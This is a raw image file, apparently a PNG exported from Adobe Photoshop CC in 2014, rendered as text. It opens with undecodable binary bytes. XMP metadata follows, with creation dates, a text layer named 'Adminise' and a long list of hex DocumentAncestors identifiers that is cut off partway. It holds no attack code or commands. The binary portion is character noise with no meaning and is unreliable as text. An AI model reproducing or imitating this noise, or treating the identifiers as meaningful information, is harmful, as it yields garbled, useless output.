$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-��iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2014-01-18T21:50:08+05:00</xmp:CreateDate>
         <xmp:MetadataDate>2014-01-18T21:50:08+05:00</xmp:MetadataDate>
         <xmp:ModifyDate>2014-01-18T21:50:08+05:00</xmp:ModifyDate>
         <xmpMM:InstanceID>xmp.iid:fd32a0ba-86d5-584a-8b57-5929dd80c62c</xmpMM:InstanceID>
         <xmpMM:DocumentID>xmp.did:2a4de9e3-0786-2543-ab65-29470356ca8e</xmpMM:DocumentID>
         <xmpMM:OriginalDocumentID>xmp.did:2a4de9e3-0786-2543-ab65-29470356ca8e</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>created</stEvt:action>
                  <stEvt:instanceID>xmp.iid:2a4de9e3-0786-2543-ab65-29470356ca8e</stEvt:instanceID>
                  <stEvt:when>2014-01-18T21:50:08+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:fd32a0ba-86d5-584a-8b57-5929dd80c62c</stEvt:instanceID>
                  <stEvt:when>2014-01-18T21:50:08+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <photoshop:TextLayers>
            <rdf:Bag>
               <rdf:li rdf:parseType="Resource">
                  <photoshop:LayerName>Adminise</photoshop:LayerName>
                  <photoshop:LayerText>Adminise</photoshop:LayerText>
               </rdf:li>
            </rdf:Bag>
         </photoshop:TextLayers>
         <photoshop:DocumentAncestors>
            <rdf:Bag>
               <rdf:li>007A8F2028F81F28F5C88009AED2B7CD</rdf:li>
               <rdf:li>00AA89C9CDF8B406CC79B79DC234C45A</rdf:li>
               <rdf:li>00D02E620B3DEFC43D7DBA870F22A5E8</rdf:li>
               <rdf:li>01418E59B3E8871B9359632FD82BFD44</rdf:li>
               <rdf:li>014B8DCA524B9117C12C73D607BB6D4B</rdf:li>
               <rdf:li>0166D6A44B5FA6DDA871E17FA05B6B82</rdf:li>
               <rdf:li>016C0535D06B115E3DE573B48BA3C2C5</rdf:li>
               <rdf:li>0191E247BD2CEC1C89A38AF1B8CB9EC0</rdf:li>
               <rdf:li>021D68B6EF1E081231D9A896A1A2CB5A</rdf:li>
               <rdf:li>02528824334A3CAEF6D30FF3343FC9FC</rdf:li>
               <rdf:li>0278EBB7F04B11B5FB627A97602D82ED</rdf:li>
               <rdf:li>02D4831427412F35A82A05D87FD31923</rdf:li>
               <rdf:li>0308C539BF150FE802D3D8CF0DCE10B0</rdf:li>
               <rdf:li>031B9820FAA6AFF9465F1E1F5F6BD686</rdf:li>
               <rdf:li>0328460FFD8765002B5C4EF4C41FC56D</rdf:li>
               <rdf:li>03EC3B59B79D24F57A017B9465C69A5F</rdf:li>
               <rdf:li>03F042D153E2438F20AEDAF51987AFC5</rdf:li>
               <rdf:li>040BF0E5F6A4E9E83EB36CA5196F3759</rdf:li>
               <rdf:li>043272532C8C4EC5491CBA0C00886647</rdf:li>
               <rdf:li>047B1E8D63DC4BFA04A06550A71D85AE</rdf:li>
               <rdf:li>048D1D478C77AD4ACBB66BC1061102D4</rdf:li>
               <rdf:li>04B085152E9D5D982BDB1738A8C7BC54</rdf:li>
               <rdf:li>050FCA86759BD96AC267A36D4B4E8450</rdf:li>
               <rdf:li>0522B5A2F0A386C714777AB6718B6A06</rdf:li>
               <rdf:li>05A0DAF06B0CDCC02C747B47860343B5</rdf:li>
               <rdf:li>05BBBFF7E635D3934EF4F617901727C5</rdf:li>
               <rdf:li>05D15D2592E1F34DE50F2BCB9D73D7E9</rdf:li>
               <rdf:li>06202182C4396AFE58AF7DF22A02DB25</rdf:li>
               <rdf:li>063DBE968DE0731C6F51C4DD1BF3FAD9</rdf:li>
               <rdf:li>06CAC18D86951B56CAE7C10EFC83DE2F</rdf:li>
               <rdf:li>070D74F06F1326720175EC3506215D9C</rdf:li>
               <rdf:li>0740021039B9A677D019533BA4DD7D53</rdf:li>
               <rdf:li>074C6DE959EC1EEBC31A7C10605DDBEA</rdf:li>
               <rdf:li>07593C005487B30F4434102E83C51706</rdf:li>
               <rdf:li>0761B7E3BBD9447E544A99E1035E59DB</rdf:li>
               <rdf:li>076A97AF678FFAD0BFDCB8F949DB87DE</rdf:li>
               <rdf:li>07806C65C4910A3DBED1594FDEF99235</rdf:li>
               <rdf:li>07C11A8F956F2F6108B7E9F1EA92C9BF</rdf:li>
               <rdf:li>07E5737742196DFC851E592BC47BDAED</rdf:li>
               <rdf:li>080C4E67DCF6EDBC87E469931F1690EA</rdf:li>
               <rdf:li>08415780DED2614D8378CAC9812F23A5</rdf:li>
               <rdf:li>086A4BFDBA5D30C9AB3B6CDCB0390648</rdf:li>
               <rdf:li>087AABF6C7B2659C2BC723E845E16C58</rdf:li>
               <rdf:li>089AA5E28F11EA36130B1CA9B58A15ED</rdf:li>
               <rdf:li>089D5FEC13D7E0911EDA82D6E19524C1</rdf:li>
               <rdf:li>08C74078A9855406D5BE7D34919E178A</rdf:li>
               <rdf:li>08E6E7A4BDB98EB6350D76B648CF92B1</rdf:li>
               <rdf:li>09164AA1FD094B37CC06DBA85F8F1E66</rdf:li>
               <rdf:li>091A2A89671521D200BA35864C61469C</rdf:li>
               <rdf:li>0949F5DC31F17CB3D015CF7BF62FD962</rdf:li>
               <rdf:li>095DE599CDDF5010D861D0AC824575B8</rdf:li>
               <rdf:li>0977163F1928B69FF83AA70B82BFC0B8</rdf:li>
               <rdf:li>0A5185C55EB70998410C7BAEC813DF44</rdf:li>
               <rdf:li>0A5A805B8442EC94F1F791D523171743</rdf:li>
               <rdf:li>0A9CA024BD5D9F3F68D3F75F606B9F3F</rdf:li>
               <rdf:li>0ABF1B0A8F5890E39E6090E9698CA726</rdf:li>
               <rdf:li>0ADE059D564C7425C333AD5E8A2DC1D7</rdf:li>
               <rdf:li>0AE821F4DCFB3823C2F95E19212ABD3D</rdf:li>
               <rdf:li>0AEC862EF261135A2D859748B4A2789E</rdf:li>
               <rdf:li>0B08DD0B560180D4201F096D966530F3</rdf:li>
               <rdf:li>0B2B2DBFD3A11A479A488A5E6C897AC2</rdf:li>
               <rdf:li>0B43ED31C78645A5DBC94BF823C9EB72</rdf:li>
               <rdf:li>0B7BD327475EBDFE4926FCBB68DB0B54</rdf:li>
               <rdf:li>0BF52272C813569ED5B92506EB634D1C</rdf:li>
               <rdf:li>0C1ACA7E9E40CB5337417B531F23DEA9</rdf:li>
               <rdf:li>0C233DA94E9E5209776F29135B3A5801</rdf:li>
               <rdf:li>0CAE348F667433C0981244264C775268</rdf:li>
               <rdf:li>0D3D09A9C77227E2C479880DD01FD4A3</rdf:li>
               <rdf:li>0D83C7BE0C670264D207EA3D5D0C757D</rdf:li>
               <rdf:li>0DAA4DE17DBC421EA5D4F7ADE4AC45B0</rdf:li>
               <rdf:li>0DC0BE0F3142E49352BB13F53BCCEE47</rdf:li>
               <rdf:li>0DD55F83A3F6BFF781506514BEFEAA23</rdf:li>
               <rdf:li>0DF54F9C81D3492D97ED7EB390421BBD</rdf:li>
               <rdf:li>0E3DAD30AE2127D470FD7F8FDD45DE78</rdf:li>
               <rdf:li>0E545EEC702AEA999C27804AA7D9681C</rdf:li>
               <rdf:li>0EE869C3D079888CC53E4640039EF6FE</rdf:li>
               <rdf:li>0F1211BEA87705380E5F19E21AA9B555</rdf:li>
               <rdf:li>101CEE4543D3D0C31473644613427FD3</rdf:li>
               <rdf:li>10254CE4305EC20C4287AB8D5E445B44</rdf:li>
               <rdf:li>1039B8E1D429A646F7265F98982758B7</rdf:li>
               <rdf:li>105E3CC3C8DD7D6AAA3B61A321314853</rdf:li>
               <rdf:li>10F600174D95EAC9309C14ABBDFA1546</rdf:li>
               <rdf:li>110B4CE4B7065B59DF2299CDEDF274D8</rdf:li>
               <rdf:li>1133B37F1842A82E1E6F1067274B155D</rdf:li>
               <rdf:li>114BA67F194156B170D367DD7AF4829C</rdf:li>
               <rdf:li>1161BCDC33BCEC617F35E5B88FA2EA8A</rdf:li>
               <rdf:li>117F5709308269D4CFC1693913EBD4E7</rdf:li>
               <rdf:li>119E2A74E1C15E98E065425162F0B488</rdf:li>
               <rdf:li>11E0F8E83B11E4E382E0522CA6F02EB0</rdf:li>
               <rdf:li>120E7905D5FC47C171B6F4D8B0EFFBA5</rdf:li>
               <rdf:li>120F25D08BFA408F91600E4764D9241D</rdf:li>
               <rdf:li>12248CE795878D6709584F7B78325087</rdf:li>
               <rdf:li>1250A171E278A739DFD57FE8C0F71D53</rdf:li>
               <rdf:li>12764813EB08203AC95B3BA01E4C51A9</rdf:li>
               <rdf:li>12AE24BD9888F9E6B97DB17ECCCAA2E7</rdf:li>
               <rdf:li>12E42112E75B9B70B26CF90A554723AA</rdf:li>
               <rdf:li>1305D53FFD295A922CB2D571EDED9E02</rdf:li>
               <rdf:li>1327D8C8B847B3DD84B4AF16D371A240</rdf:li>
               <rdf:li>133ACA1CCF729C49CA9996386FD8E026</rdf:li>
               <rdf:li>1397080F1FA6DABA148DB1D92FFE7D18</rdf:li>
               <rdf:li>13A86E28A878B8D434FD7A490B5CAD04</rdf:li>
               <rdf:li>14037DD5ED1FEE9EEEB413AA05EFDFE4</rdf:li>
               <rdf:li>14C208E02F9B3F2624299D2669940F17</rdf:li>
               <rdf:li>14D107AA71ABD28848FA591F8BEB5D66</rdf:li>
               <rdf:li>1508A00620B209326EF53C07FE769FAA</rdf:li>
               <rdf:li>150D4B931905CD4E348231D4E6C50951</rdf:li>
               <rdf:li>152F86FE51944F2FDD5F06B2DA418654</rdf:li>
               <rdf:li>156DACB52F51B75D7F3BB50B9612E95C</rdf:li>
               <rdf:li>1579BD4A278B1FE49023C1827CC4EEA6</rdf:li>
               <rdf:li>1583DB70AC146804F3B41CFAEBBF53DB</rdf:li>
               <rdf:li>158FCF16C3F4422FF14E2E5EBF1E95BB</rdf:li>
               <rdf:li>16967C59AAC0F52EC3B43173C2062EED</rdf:li>
               <rdf:li>16AD4D00B468D265176F3B1262EA46F9</rdf:li>
               <rdf:li>16CB9E30B5376C7FD0F502B07664D456</rdf:li>
               <rdf:li>16D38AAAF6AF06206B8493B437642E78</rdf:li>
               <rdf:li>177772BEF6625A833E2194AC4FC8691F</rdf:li>
               <rdf:li>1779A1547B43E6289AE451A1083C9EAC</rdf:li>
               <rdf:li>1781CC469F4C62EA7328874D5F5C5D61</rdf:li>
               <rdf:li>18288B3E553121F2B92D50D42C005ED5</rdf:li>
               <rdf:li>18375347FDE41845B2B09F45DDE79D1F</rdf:li>
               <rdf:li>18405694690AFAC76A0E7157937A019C</rdf:li>
               <rdf:li>1844C39E128D9A77472E9984FB746F76</rdf:li>
               <rdf:li>18500B938DA4284BF39E90DBB6BF6E96</rdf:li>
               <rdf:li>18745D5BF754C0C26F05F711775F8800</rdf:li>
               <rdf:li>18AA8E219A311C0F46EF2A2C7F4080CA</rdf:li>
               <rdf:li>191D38AAC21C90E417D2255EBAF29771</rdf:li>
               <rdf:li>195288F5794B797F6BFE11DAB292A66E</rdf:li>
               <rdf:li>196BC698CD480E0A3E5D45251DC90340</rdf:li>
               <rdf:li>198E4E791576915ADC714EDA5CA91FB4</rdf:li>
               <rdf:li>19BACB1041BC8174E2792CF495FA9D7B</rdf:li>
               <rdf:li>1A410835C7A722F1778BC61C10FC2D9D</rdf:li>
               <rdf:li>1A47B6BEAB888CB269C9E793A762EDA2</rdf:li>
               <rdf:li>1A6001F536CC88CB1F105419AFC38FBC</rdf:li>
               <rdf:li>1AA6BE40ED84D5CE51620125314DCC30</rdf:li>
               <rdf:li>1ACB62A16118590BDB5B932507433DF5</rdf:li>
               <rdf:li>1BB3EA038F1E3C87F1790B41D2006FB8</rdf:li>
               <rdf:li>1BD94EC179F9CC59C4E0CB6DFE9AA604</rdf:li>
               <rdf:li>1C1FED53C800FEB09A1259BAD0288AAF</rdf:li>
               <rdf:li>1C45E335E10DA8FF308913BBFEBDEED3</rdf:li>
               <rdf:li>1C48EC105DB1F7C3A54D40F538B6F19D</rdf:li>
               <rdf:li>1D41D35F691098AE2841B0207E703174</rdf:li>
               <rdf:li>1D46AD52A60FA7490B863B7122B96F2D</rdf:li>
               <rdf:li>1E3D92A0BD8FB537522DB446EFC30304</rdf:li>
               <rdf:li>1E605EAD8728EE611A2EB10BB99CF631</rdf:li>
               <rdf:li>1E9C86E91A9EB9FDD6823A09463A48AE</rdf:li>
               <rdf:li>1EDB0F0C45884109D923767FEA43FCCF</rdf:li>
               <rdf:li>1F7FF4E80A606386342F1B0D47C225DD</rdf:li>
               <rdf:li>1FAEAB234AEEBAAFFFE808AC42352C27</rdf:li>
               <rdf:li>1FD6188A97B7B4F1C26AB0B6062A2EEF</rdf:li>
               <rdf:li>1FF5F2CDF1256DA9302249E8B43860A6</rdf:li>
               <rdf:li>20256573B64764D14A1D4A72BB5BC427</rdf:li>
               <rdf:li>202E75425836F4F44BFE804C3D237218</rdf:li>
               <rdf:li>2044DA49D88E4C5F7A33CCA2D13CD29C</rdf:li>
               <rdf:li>205818564385642AB40B9C36013EAC7F</rdf:li>
               <rdf:li>206C9B6EA1F128B5EF463429587E2A1F</rdf:li>
               <rdf:li>20C592C6103E0E381D1955B4CAFCB321</rdf:li>
               <rdf:li>211A8614C2ACB3E1A54FBD8B408093E7</rdf:li>
               <rdf:li>2159ED978294058EAF6B1282D8824FB7</rdf:li>
               <rdf:li>222E8BEF52B0546EA8879C8AAEC903DD</rdf:li>
               <rdf:li>22308ED8C67D54594A9627E7C6E4752A</rdf:li>
               <rdf:li>2240F50960BFF5BB5798F92385F45433</rdf:li>
               <rdf:li>227564980C9F5DD71B7CCF82F89D50CD</rdf:li>
               <rdf:li>22BE6605108EC1C53B700E7A313289E3</rdf:li>
               <rdf:li>22E1AC321C35CC20EF86FD5EB5C1BE93</rdf:li>
               <rdf:li>22E4A268EA1C0157213B56ED617EC52D</rdf:li>
               <rdf:li>22E5303F99FFF5DC7AD4DD2776271C41</rdf:li>
               <rdf:li>22E6D7A6259F653A67C54C58FA86090C</rdf:li>
               <rdf:li>23277B0C248652CD869DDF98E07DD7FA</rdf:li>
               <rdf:li>23CC2F9D29915FC79E7DAAB3752983AB</rdf:li>
               <rdf:li>23FA88BC3F48C6C176D3630275134026</rdf:li>
               <rdf:li>24150973F8B082AEB64357A4FD141DDE</rdf:li>
               <rdf:li>2579F6A67E79AE08AD4C5F8DF5A58333</rdf:li>
               <rdf:li>257C7629B7F41750316EA19492C65422</rdf:li>
               <rdf:li>25D2427C1D7B84A95E0113EC1F03970F</rdf:li>
               <rdf:li>261DAE00DD13367EF8E1ECFC54263702</rdf:li>
               <rdf:li>26A2FFC6F6F227E95267CEAE72736095</rdf:li>
               <rdf:li>26AB393E4D2BFFA337296E8CBAA4BF9C</rdf:li>
               <rdf:li>26AC6C3612063EB56A5BBB44FD9BD876</rdf:li>
               <rdf:li>26BD1CAF29D2D5C17B3A60BFF353B7D9</rdf:li>
               <rdf:li>26CCFE360B177C10EA8FD70CB1BA9174</rdf:li>
               <rdf:li>27106042BA3FEC00F88CE21F59742816</rdf:li>
               <rdf:li>275E4AFEC0C5B56E691439582A1066A5</rdf:li>
               <rdf:li>277BDD5F3630FCAE3065A3E9DA6C5000</rdf:li>
               <rdf:li>27C52E582DBBA8EA821D84616CD9E27C</rdf:li>
               <rdf:li>281CFFB31E67A06EDFE1F6C4B8A58E77</rdf:li>
               <rdf:li>2820619B4BFDD1F1E34D3044D64C6A84</rdf:li>
               <rdf:li>2829D10DEFF6A9D05C61F39F631EB9C6</rdf:li>
               <rdf:li>28622383EFBA3ACD64C314E8A09F022D</rdf:li>
               <rdf:li>28B8F04979D55418946CE83AE13DC7D1</rdf:li>
               <rdf:li>29052771A89F28037EDC25D6C8BF58BD</rdf:li>
               <rdf:li>2980496C708F340AFD5CF0B4808CA225</rdf:li>
               <rdf:li>298AE66CDDA0676D497FD662CC46E789</rdf:li>
               <rdf:li>2992D8BA68A1CA1E136AFA133F1B8A07</rdf:li>
               <rdf:li>2A347160D2809DD3C528385E3F34B325</rdf:li>
               <rdf:li>2A4814991CCCC900A3DF8F2E5A8CD757</rdf:li>
               <rdf:li>2A49C885434FA453BD21507B1D0E5ED3</rdf:li>
               <rdf:li>2B1242E67A8A7F61F88DDF9CDAD535CC</rdf:li>
               <rdf:li>2B17885252F1C8D26CD19E78C74272C6</rdf:li>
               <rdf:li>2B36D84CD52D170B6D8B745061B79FBD</rdf:li>
               <rdf:li>2B39980FA5099CA9BEC84740F3F59090</rdf:li>
               <rdf:li>2B4A13F5B0E3F111B9220D3779B94ABA</rdf:li>
               <rdf:li>2B4D1489F8ABA58B0ADD1A99E0600EAF</rdf:li>
               <rdf:li>2BC67F59843C0FA16583E89B48917624</rdf:li>
               <rdf:li>2BE992406CF18AABADC5C00640093E87</rdf:li>
               <rdf:li>2C226FE21D1B9EF5E25285DC4CA3AE59</rdf:li>
               <rdf:li>2C522438BC9130C0B4174BBBBFC27030</rdf:li>
               <rdf:li>2C593132857F38549413A775FD748CC3</rdf:li>
               <rdf:li>2C7CCC3B37B0F2D8A3B8B4956AA9A893</rdf:li>
               <rdf:li>2C81F2C38CBF148E4321E07364215F25</rdf:li>
               <rdf:li>2C92319521AEB79A069EF99448D1B9AB</rdf:li>
               <rdf:li>2CA999D9E3BA6EB00AFE077C9FC2D76A</rdf:li>
               <rdf:li>2D025698B09A3C93799C840649D05A64</rdf:li>
               <rdf:li>2D13588D501206BBC214B59F54674AA1</rdf:li>
               <rdf:li>2D63B360A4B3F713EC188069B1BE9EA0</rdf:li>
               <rdf:li>2E35FC331775D05C0CB2329249EA2BD4</rdf:li>
               <rdf:li>2E5E625D41787229A42EA78743DFED92</rdf:li>
               <rdf:li>2E6FF024ACCC00680701A979387E01BB</rdf:li>
               <rdf:li>2EA0B470BDF169F408F5E6D2EADBB86E</rdf:li>
               <rdf:li>2EFBF9849BE1E7F7D83C341678B86918</rdf:li>
               <rdf:li>2F7361AF09877E51CC4DBF32B0DFEFF9</rdf:li>
               <rdf:li>2F74E1D3157B25F62DA101CEB7A06FCE</rdf:li>
               <rdf:li>2FBDD17EC0490511CF04E33083AFD89B</rdf:li>
               <rdf:li>30962B52603565D6F8BD7A1C4CBC195D</rdf:li>
               <rdf:li>30A8ECBE7248B4FB91FCCE7724596D35</rdf:li>
               <rdf:li>30B1F6ABC7FC1CC5EFB985A8E78558E3</rdf:li>
               <rdf:li>30E0702AC3EFF35E253DDF287DCCEDEE</rdf:li>
               <rdf:li>30F195B254AE4EA3732AAED75E48F021</rdf:li>
               <rdf:li>30FD1BAD28EBA7CE28747B0B3684856B</rdf:li>
               <rdf:li>3100425D54A1A84EE1AC339E81C51733</rdf:li>
               <rdf:li>3100E0B5C59D0209800654301DB2B6D9</rdf:li>
               <rdf:li>311316D9E1E7BFD42C67C8C1FBCCE93A</rdf:li>
               <rdf:li>314AC4D5EF99C42510C416A559A41801</rdf:li>
               <rdf:li>3160AB87A26AFE7F75073EF401C1875E</rdf:li>
               <rdf:li>3175AB4E3CF5008DA55FBA9F9B1A8E9E</rdf:li>
               <rdf:li>324E2035894754A1554312C295B0C193</rdf:li>
               <rdf:li>3291A38A086C98AF94692F69DF87E569</rdf:li>
               <rdf:li>32B1423BD4C6D857AD462F504DF3FD16</rdf:li>
               <rdf:li>32CF24E4495F6C0707A20B68008C9CFA</rdf:li>
               <rdf:li>32ECBA38E117BE3E534C3C345E9BEC19</rdf:li>
               <rdf:li>335711E728BB1EFE4D3E40FBA5CC49CE</rdf:li>
               <rdf:li>33743A05C6E6532EC0B1712581186ECE</rdf:li>
               <rdf:li>337A5C0F951F57686FD21E267680FC46</rdf:li>
               <rdf:li>33A1CC4D2045ECB79780EB0A2FDFD0D0</rdf:li>
               <rdf:li>33E9A72FC9A9E866D7F67899150B216C</rdf:li>
               <rdf:li>34065C5EB08F81FEA45CE1AA6CA2DF4D</rdf:li>
               <rdf:li>3406EFB0378406989A9D11267A06CE3B</rdf:li>
               <rdf:li>341E28EA5950B9CD38585F44EF4DD974</rdf:li>
               <rdf:li>34272FC212EA43B878F770F401EAC9CC</rdf:li>
               <rdf:li>34294F5DACDE4143E112F86E90A373A2</rdf:li>
               <rdf:li>342AB8DFD7035BDEB301205957EDA467</rdf:li>
               <rdf:li>346C1B49E2BF7641AD357175E1AB812E</rdf:li>
               <rdf:li>347DE4FEE7FBFE3C3794BCA2A9DD0850</rdf:li>
               <rdf:li>34A3AF54DE8725C4DF09B7654BC4F9CF</rdf:li>
               <rdf:li>34B0144AA5233E607CC7F68939F2E419</rdf:li>
               <rdf:li>34D94D66AB0A56B1B148C607AEAE88B8</rdf:li>
               <rdf:li>34F779FF82DE83FE32944BC7EF2D7387</rdf:li>
               <rdf:li>358206C7573FC1FFE4A5F9E5999CB595</rdf:li>
               <rdf:li>36283266DA00CF33B44094703B81C765</rdf:li>
               <rdf:li>363CF80630C5F30E44A13C883B2E0CE9</rdf:li>
               <rdf:li>364AEC2F39FA295828D5AF584AD6C615</rdf:li>
               <rdf:li>3676D3FA1F956CB094AE89FA9D9DEBB1</rdf:li>
               <rdf:li>36D1AE6D2CCA88AB4BBF36D9AC438348</rdf:li>
               <rdf:li>374194BEB0940399DDC953A327CF0E6F</rdf:li>
               <rdf:li>374B8A3929682F3F52D02411C392409E</rdf:li>
               <rdf:li>37689989ADD17924874339092C16888E</rdf:li>
               <rdf:li>37B3B58FEEA727D9A22AFDE38818E2A1</rdf:li>
               <rdf:li>37BEFA1729696D03B4517521C8B2D7B2</rdf:li>
               <rdf:li>385E953D218220092A50958205707CDF</rdf:li>
               <rdf:li>38EC5D173DC537F9469158268EEA3DCD</rdf:li>
               <rdf:li>393AEC4C4DD2A6E90AC1840FDAE1D935</rdf:li>
               <rdf:li>39443C0A712EB430CA2A3DC485E94472</rdf:li>
               <rdf:li>39481E9D69D605D261734BD2E5604B8D</rdf:li>
               <rdf:li>394D2B3E46140A17D85B86987B820806</rdf:li>
               <rdf:li>39658C98BFC13C6804DF96D972CB2AD3</rdf:li>
               <rdf:li>39950EE195165F6D958FDC7C58225DB2</rdf:li>
               <rdf:li>39A8A3429322F5A6E9DD3A7CB0277ED4</rdf:li>
               <rdf:li>39EE4AE0FC418E2E830EC4E9F5EE588D</rdf:li>
               <rdf:li>3A24580B8128C0AF3527D5F0E708B865</rdf:li>
               <rdf:li>3A9DA032F627041F0A381918B4C5AB0E</rdf:li>
               <rdf:li>3AD7F1A80037B71819471B2CDF93C076</rdf:li>
               <rdf:li>3AE2A0A3715F467E521641A697D517BF</rdf:li>
               <rdf:li>3AE81DAFE554E9A2CD5A84EC8A3E6C32</rdf:li>
               <rdf:li>3AF200715A1DE4B8F253470040D86C78</rdf:li>
               <rdf:li>3B426D14246DD6EA442F8827462086AB</rdf:li>
               <rdf:li>3B6D44491F9DED4B94BD58F461F37FCB</rdf:li>
               <rdf:li>3B84B1DF7B630B5E61CDB112E32C8FE2</rdf:li>
               <rdf:li>3B85E7EC3F4ED8F39E4EABD14FE19A68</rdf:li>
               <rdf:li>3BA103E5624FDEC48512F35B464E60ED</rdf:li>
               <rdf:li>3BB71DAB78E51CBC0FD666F1E46C710A</rdf:li>
               <rdf:li>3BE59B91DD663874714AF451F0C36CF9</rdf:li>
               <rdf:li>3BF75537B6E4F5D4CCB23E3C6D691386</rdf:li>
               <rdf:li>3C18A44652EDF4D2D9A35F73D267ECEC</rdf:li>
               <rdf:li>3CF6886BB569D09259AD3DC8679AC153</rdf:li>
               <rdf:li>3D404647218C2A142198F805D73D0B1F</rdf:li>
               <rdf:li>3E3116A96F60A7AA6D994A2A5ECA217D</rdf:li>
               <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li>
               <rdf:li>3E5772FF85D74EFDA45DF71E6DE4979E</rdf:li>
               <rdf:li>3EBE692CB706DB1E2EE339357B3CD705</rdf:li>
               <rdf:li>3F4305F7F474B7410C5CA14EFB26937C</rdf:li>
               <rdf:li>40123370BCDF7FD8A1172B2DA684DCBA</rdf:li>
               <rdf:li>406255D3FD1EEACF2F5C8B46904D0360</rdf:li>
               <rdf:li>408F9FA0777C6CE40835673F0BEE32E6</rdf:li>
               <rdf:li>4092529F21DDCC6EC93CA5F4F211A4FA</rdf:li>
               <rdf:li>409FBBEF3BB7F22C0502A5B738161B3F</rdf:li>
               <rdf:li>40B2560E9346C94FE9E134D23DD1D735</rdf:li>
               <rdf:li>40D6EEBB4DF5BF4C86A9CD8996F2821D</rdf:li>
               <rdf:li>41BC5025A204DFD595F9F06870583A07</rdf:li>
               <rdf:li>420E7E5FC54CFB2512554B1802EE3946</rdf:li>
               <rdf:li>422959A31A7AC23E3581C9ABC021B656</rdf:li>
               <rdf:li>42B22E6CB55B2843D141320F013B0EF1</rdf:li>
               <rdf:li>42CE8CD7D3D4914ECB48E19446F28FE7</rdf:li>
               <rdf:li>42E97D67D22DBEF64803C619F2ABF620</rdf:li>
